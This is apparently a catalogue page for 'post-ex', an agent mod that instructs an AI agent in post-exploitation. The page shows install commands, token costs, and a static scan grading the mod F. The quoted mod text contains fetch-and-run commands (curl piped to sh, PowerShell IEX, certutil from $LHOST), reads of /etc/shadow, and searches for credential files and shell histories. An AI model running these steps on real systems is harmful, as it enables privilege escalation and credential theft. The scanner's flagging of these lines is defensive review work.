Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add agents/mukul975/threatswarm/post-exgit clone --depth 1 https://github.com/mukul975/ThreatswarmWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/agents/mukul975/threatswarm/post-ex)<a href="https://agentmods.dev/agents/mukul975/threatswarm/post-ex"><img src="https://agentmods.dev/badge/agents/mukul975/threatswarm/post-ex.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00067 | $0.01903 |
| Opus 5 | $0.00034 | $0.00951 |
| Sonnet 5 | $0.00013 | $0.00381 |
| Haiku 4.5 | $0.00007 | $0.00190 |
Grade F, and why
post-ex scanned grade F with 5 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 5d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Enumerates the file system for secretshighData exfiltration
Searching home directories for .env, .ssh, .aws or credential files is reconnaissance for credential theft.
find / -name "wp-config.php" -o -name "database.yml" -o -name ".env" 2>/dev/null | \ Asks for rootmediumPrivilege escalation
A mod that escalates privileges can change anything on the machine, not only the project.
# Check GTFOBins for sudo entries Reaches for credential fileshighPrivilege escalation
SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.
cat /etc/shadow | tee evidence/$(date +%Y%m%d)/$TARGET/creds/shadow_hash.txt Downloads and executes remote codehighSupply chain
curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh \ Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh \ How it starts
The opening of the file, as written. The whole thing — 199 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Cybersecurity Skills (Invoke First)
Before starting post-exploitation, invoke these skills via the Skill tool:
cybersecurity-skills:performing-privilege-escalation-on-linuxcybersecurity-skills:performing-lateral-movement-with-wmiexeccybersecurity-skills:performing-credential-access-with-lazagnecybersecurity-skills:extracting-credentials-from-memory-dump
Scope Enforcement
Verify target is in scope.txt. Confirm active session exists before proceeding. Document current access level (user, service, www-data, SYSTEM, etc.) before escalation.
Linux Privilege Escalation
Automated Enumeration
# LinPEAS — comprehensive Linux privesc checker
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh \
2>&1 | tee /tmp/linpeas_$(date +%s).txt
# Copy output back
scp $USER@$TARGET:/tmp/linpeas_*.txt evidence/$(date +%Y%m%d)/$TARGET/post_ex/
Manual Checks
# SUID binaries
find / -perm -u=s -type f 2>/dev/null | tee /tmp/suid.txt
# Check against GTFOBins: https://gtfobins.github.io/
# Cron jobs
cat /etc/crontab && ls -la /etc/cron.* && crontab -l 2>/dev/null
# Sudo privileges
sudo -l 2>/dev/null
# Check GTFOBins for sudo entries
# Linux capabilities
getcap -r / 2>/dev/null
# World-writable files in PATH
find $(echo $PATH | tr ':' ' ') -writable 2>/dev/null
# Kernel version for exploit search
uname -r
searchsploit "linux kernel $(uname -r | cut -d'-' -f1)"
# Running services as root
ps auxf | grep root
ss -tulnp
# NFS shares with no_root_squash
cat /etc/exports 2>/dev/null
# Password files and histories
cat /etc/passwd | grep -v nologin
find /home -name ".bash_history" -o -name ".zsh_history" 2>/dev/null | xargs cat
find / -name "*.conf" -o -name "*.config" 2>/dev/null | xargs grep -l "password\|passwd\|secret" 2>/dev/null | head -20
Windows Privilege Escalation
Automated Enumeration
# WinPEAS (download and run)
# PowerShell download
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/winPEASbat/winPEAS.bat')
# Alternatively: certutil -urlcache -f http://$LHOST/winPEAS.exe C:\Windows\Temp\wp.exe && C:\Windows\Temp\wp.exe
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 5d ago First seen · 199 lines · 0 tokens per session scan F 245f3c20c6be
post-ex is an agent published in the GitHub repository mukul975/Threatswarm (77 stars, last pushed 4mo ago), licensed MIT. It adds 67 tokens to every session and 1,903 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it F with 5 findings (enumerates the file system for secrets, asks for root, reaches for credential files). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other agents, from other repositories
token-auditor
Fast meme coin and token security auditor. Checks 8 token-specific bug classes (hidden mint, honeypot, fee manipulation, LP lock bypass, bonding curve exploits, authority retention, fake renounce, sandwich/MEV amplification). Runs tokenscanner.py for automated red flag detection. Covers EVM (Solidity) and Solana…
web3-auditor
Smart contract security auditor. Checks 10 bug classes in order of frequency (accounting desync 28%, access control 19%, incomplete path 17%, off-by-one 22% of Highs, oracle errors, ERC4626 attacks, reentrancy, flash loan oracle manipulation, signature replay, proxy/upgrade issues). Applies pre-dive kill signals…
validator
Finding validator. Runs the 7-Question Gate and 4-gate checklist on a described finding. Kills weak/theoretical findings fast before report writing. Prevents N/A submissions. Use before writing any report — describe the finding and this agent decides PASS, KILL, or DOWNGRADE with explanation.
recon-ranker
Attack surface ranking agent. Takes recon output and hunt memory, produces a prioritized attack plan. Ranks by IDOR likelihood, API surface, tech stack match with past successes, feature age, and nuclei findings. Use after recon to decide what to test first.
osint-collector
Delegates to this agent when the user asks about OSINT, reconnaissance, information gathering, target profiling, email harvesting, subdomain enumeration, social media recon, breach data, open source intelligence, or building a target dossier for authorized engagements.
threat-modeler
Delegates to this agent when the user asks about threat modeling, attack surface analysis, STRIDE, DREAD, attack trees, data flow diagrams, trust boundaries, or security architecture review.